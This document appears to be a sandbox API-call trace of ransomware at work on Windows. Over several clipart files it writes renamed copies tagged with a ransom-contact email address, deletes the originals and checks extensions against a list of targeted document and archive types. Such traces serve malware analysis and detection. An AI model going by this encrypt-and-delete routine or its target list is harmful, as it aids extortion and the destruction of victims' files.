	[0207.788] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.788] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.788] SetEndOfFile (hFile=0x380) returned 1
	[0207.788] CloseHandle (hObject=0x380) returned 1
	[0207.789] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.789] SetEndOfFile (hFile=0x37c) returned 1
	[0207.789] CloseHandle (hObject=0x37c) returned 1
	[0207.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00443_.wmf")) returned 1
	[0207.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.790] lstrlenW (lpString=".doc") returned 4
	[0207.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.790] lstrlenW (lpString=".docx") returned 5
	[0207.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.791] lstrlenW (lpString=".pdf") returned 4
	[0207.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString=".xls") returned 4
	[0207.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.791] lstrlenW (lpString=".xlsx") returned 5
	[0207.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.791] lstrlenW (lpString=".ppt") returned 4
	[0207.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString=".zip") returned 4
	[0207.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.791] lstrlenW (lpString=".rar") returned 4
	[0207.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString=".bz2") returned 4
	[0207.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString=".7z") returned 3
	[0207.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString=".dbf") returned 4
	[0207.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString=".1cd") returned 4
	[0207.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString=".jpg") returned 4
	[0207.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.791] lstrlenW (lpString=".doc") returned 4
	[0207.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.791] lstrlenW (lpString=".docx") returned 5
	[0207.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.792] lstrlenW (lpString=".pdf") returned 4
	[0207.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString=".xls") returned 4
	[0207.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.792] lstrlenW (lpString=".xlsx") returned 5
	[0207.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.792] lstrlenW (lpString=".ppt") returned 4
	[0207.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.792] lstrlenW (lpString=".zip") returned 4
	[0207.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.792] lstrlenW (lpString=".rar") returned 4
	[0207.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString=".bz2") returned 4
	[0207.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString=".7z") returned 3
	[0207.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.792] lstrlenW (lpString=".dbf") returned 4
	[0207.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.792] lstrlenW (lpString=".1cd") returned 4
	[0207.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0207.792] lstrlenW (lpString=".jpg") returned 4
	[0207.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.792] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.792] lstrlenW (lpString="HH00513_.WMF") returned 12
	[0207.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.793] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=818) returned 1
	[0207.793] CloseHandle (hObject=0x37c) returned 1
	[0207.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220
	[0207.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.793] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.793] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.794] GetLastError () returned 0x0
	[0207.794] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x332, lpOverlapped=0x0) returned 1
	[0207.810] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x340, lpOverlapped=0x0) returned 1
	[0207.811] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.812] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.812] SetEndOfFile (hFile=0x380) returned 1
	[0207.812] CloseHandle (hObject=0x380) returned 1
	[0207.812] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.812] SetEndOfFile (hFile=0x37c) returned 1
	[0207.814] CloseHandle (hObject=0x37c) returned 1
	[0207.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1
	[0207.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.815] lstrlenW (lpString=".doc") returned 4
	[0207.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.815] lstrlenW (lpString=".docx") returned 5
	[0207.815] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.815] lstrlenW (lpString=".pdf") returned 4
	[0207.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.815] lstrlenW (lpString=".xls") returned 4
	[0207.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.816] lstrlenW (lpString=".xlsx") returned 5
	[0207.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.816] lstrlenW (lpString=".ppt") returned 4
	[0207.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString=".zip") returned 4
	[0207.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.816] lstrlenW (lpString=".rar") returned 4
	[0207.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString=".bz2") returned 4
	[0207.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString=".7z") returned 3
	[0207.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString=".dbf") returned 4
	[0207.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString=".1cd") returned 4
	[0207.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString=".jpg") returned 4
	[0207.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.816] lstrlenW (lpString=".doc") returned 4
	[0207.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.816] lstrlenW (lpString=".docx") returned 5
	[0207.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.817] lstrlenW (lpString=".pdf") returned 4
	[0207.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString=".xls") returned 4
	[0207.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.817] lstrlenW (lpString=".xlsx") returned 5
	[0207.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.817] lstrlenW (lpString=".ppt") returned 4
	[0207.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.817] lstrlenW (lpString=".zip") returned 4
	[0207.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.817] lstrlenW (lpString=".rar") returned 4
	[0207.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString=".bz2") returned 4
	[0207.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString=".7z") returned 3
	[0207.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.817] lstrlenW (lpString=".dbf") returned 4
	[0207.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.817] lstrlenW (lpString=".1cd") returned 4
	[0207.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68
	[0207.817] lstrlenW (lpString=".jpg") returned 4
	[0207.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.817] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.818] lstrlenW (lpString="HH00524_.WMF") returned 12
	[0207.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.819] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=14688) returned 1
	[0207.819] CloseHandle (hObject=0x37c) returned 1
	[0207.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220
	[0207.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0207.819] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.819] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0207.820] GetLastError () returned 0x0
	[0207.820] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x3960, lpOverlapped=0x0) returned 1
	[0208.212] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x3970, lpOverlapped=0x0) returned 1
	[0208.213] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0208.213] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0208.213] SetEndOfFile (hFile=0x380) returned 1
	[0208.214] CloseHandle (hObject=0x380) returned 1
	[0208.214] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.214] SetEndOfFile (hFile=0x37c) returned 1
	[0208.215] CloseHandle (hObject=0x37c) returned 1
	[0208.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0208.215] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0208.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.215] lstrlenW (lpString=".doc") returned 4
	[0208.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString=".docx") returned 5
	[0208.216] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.216] lstrlenW (lpString=".pdf") returned 4
	[0208.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString=".xls") returned 4
	[0208.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.216] lstrlenW (lpString=".xlsx") returned 5
	[0208.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.216] lstrlenW (lpString=".ppt") returned 4
	[0208.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString=".zip") returned 4
	[0208.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.216] lstrlenW (lpString=".rar") returned 4
	[0208.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString=".bz2") returned 4
	[0208.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString=".7z") returned 3
	[0208.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString=".dbf") returned 4
	[0208.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString=".1cd") returned 4
	[0208.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString=".jpg") returned 4
	[0208.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.216] lstrlenW (lpString=".doc") returned 4
	[0208.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0208.216] lstrlenW (lpString=".docx") returned 5
	[0208.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0208.217] lstrlenW (lpString=".pdf") returned 4
	[0208.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString=".xls") returned 4
	[0208.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0208.217] lstrlenW (lpString=".xlsx") returned 5
	[0208.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0208.217] lstrlenW (lpString=".ppt") returned 4
	[0208.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.217] lstrlenW (lpString=".zip") returned 4
	[0208.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0208.217] lstrlenW (lpString=".rar") returned 4
	[0208.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString=".bz2") returned 4
	[0208.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString=".7z") returned 3
	[0208.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0208.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.217] lstrlenW (lpString=".dbf") returned 4
	[0208.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.217] lstrlenW (lpString=".1cd") returned 4
	[0208.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0208.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0208.217] lstrlenW (lpString=".jpg") returned 4
	[0208.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0208.217] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0208.217] lstrlenW (lpString="HH00685_.WMF") returned 12
	[0208.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.218] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=4032) returned 1
	[0208.218] CloseHandle (hObject=0x37c) returned 1
	[0208.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220
	[0208.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0208.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0208.218] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.218] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0208.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0208.219] GetLastError () returned 0x0
	[0208.219] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0xfc0, lpOverlapped=0x0) returned 1
